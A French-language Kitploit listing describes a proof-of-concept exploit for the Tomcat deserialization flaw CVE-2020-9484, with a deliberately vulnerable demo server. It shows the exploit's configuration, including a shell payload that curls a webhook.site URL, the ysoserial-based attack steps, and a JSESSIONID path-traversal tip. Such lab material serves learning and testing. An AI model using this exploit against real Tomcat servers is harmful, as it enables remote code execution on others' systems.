Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/savsch/poc_cve-2020-9484
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

Exploit PoC pour CVE-2020-9484, et une application web vulnérable pour sa démonstration

Voir le dépôt
12il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Ce dépôt contient un exploit de preuve de concept pour CVE-2020-9484, ainsi qu'un serveur web d'exemple qui est vulnérable à cet exploit.


Prérequis pour que cette vulnérabilité soit exploitable

Les versions de Tomcat affectées sont :

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. Le PersistentManager est activé et il utilise un FileStore.
  2. L'attaquant peut téléverser un fichier avec un contenu arbitraire, contrôle l'extension du nom de fichier (en particulier les fichiers .session), et connaît l'emplacement où il est téléversé.
  3. Il y a des gadgets dans le classpath (par exemple clojure ou commons-collections) qui peuvent être utilisés pour une attaque de désérialisation Java.

Le Service Vulnérable d'Exemple

Le service d'exemple est un serveur web avec deux pages, /index.jsp (ou simplement /) et /list.jsp. Il permet à l'utilisateur de téléverser et télécharger des fichiers (spécifiques à la session en cours), agissant ainsi comme un stockage de fichiers.

  • Il prend en charge les requêtes POST vers /upload pour le téléversement de fichiers, et permet à l'utilisateur de choisir le nom du fichier. Cela permet de téléverser des fichiers avec l'extension .session. On sait également que le serveur stocke les fichiers dans le répertoire /var/tmp/uploads.
  • Il a PersistentManager activé en utilisant un FileStore. (voir context.xml)
  • Il a clojure:1.8.0 dans le classpath facilitant ainsi une attaque de désérialisation. (voir pom.xml)

L'exploit

Pour configurer le service vulnérable d'exemple :

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

Le service devrait maintenant être opérationnel à l'adresse http://localhost:8085/POC_CVE-2020-9484/.

Maintenant, ajustez les variables de configuration au début de exploit.py. La PAYLOAD, ici un script shell, peut être n'importe quel fichier qui peut être exécuté par le serveur.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Exécutez maintenant exploit.py. Il effectue les actions suivantes :

  1. Télécharge yoserial.
  2. Utilise yoserial pour générer des objets sérialisés malveillants (sous forme de fichiers .session), qui finiront par être désérialisés sur le serveur :
    • chmodPayload.session pour donner les permissions d'exécution au fichier PAYLOAD téléversé sur le serveur.
    • executePayload.session pour exécuter le fichier PAYLOAD sur le serveur.
  3. Téléverse le fichier PAYLOAD sur le serveur.
  4. Téléverse les fichiers .session générés ci-dessus sur le serveur.
  5. Déclenche une requête vers le serveur avec le cookie JSESSIONID étant le chemin des fichiers .sesssion précédemment téléversés par rapport au stockage de session du serveur, déclenchant ainsi leur désérialisation sur le serveur et l'exécution subséquente de la charge utile.

Notes de bas de page

  • De nombreux serveurs stockent les fichiers téléversés par l'utilisateur dans un chemin de la forme /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. Dans un tel cas, utiliser un JSESSIONID de la forme ../../../../tmp (au lieu d'une valeur arbitraire comme "1337"*8 utilisé dans exploit.py ci-dessus) avec la requête POST de téléversement de fichier peut potentiellement aider à déterminer où le fichier téléversé est stocké sur le serveur.
Télécharger l’outil